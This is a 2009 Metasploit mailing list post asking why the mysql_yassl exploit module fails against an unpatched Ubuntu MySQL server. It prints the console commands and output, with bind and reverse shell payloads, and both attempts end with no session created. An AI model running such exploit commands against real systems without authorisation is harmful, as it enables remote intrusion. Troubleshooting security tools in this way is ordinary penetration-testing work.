Metasploit mailing list archives

exploit mysql_yassl unsuccesful


From: lkiiski at niksula.hut.fi (Lauri Kiiski)
Date: Fri, 06 Mar 2009 01:48:56 +0200

Hi

I'm unable to get linux/mysql/mysql_yassl working. Is there something
basic what I'm missing here? The target is Ubuntu 7.10 without any
updates and MySQL 5.0.45-Debian_1ubuntu3-log. SSL is enabled in MySQL
and I can connect to it with SSL.

My MySQL is different version. Is it a problem? I think I can't get
the exact version used in the exploit module since updates are newer.

Here are the commands and output of the module. I tried with two
different payloads.

use linux/mysql/mysql_yassl
set rhost target.ip
set payload linux/x86/shell/bind_tcp
set rhost target.ip

msf exploit(mysql_yassl) > exploit

[*] Started bind handler
[*] Trying target MySQL 5.0.45-Debian_1ubuntu3.1-log...
[*] Exploit completed, but no session was created.
msf exploit(mysql_yassl) >


set payload linux/x86/shell/reverse_tcp
set lhost msf.ip

msf exploit(mysql_yassl) > exploit

[*] Started reverse handler
[*] Trying target MySQL 5.0.45-Debian_1ubuntu3.1-log...
[*] Exploit completed, but no session was created.
msf exploit(mysql_yassl) >




Current thread: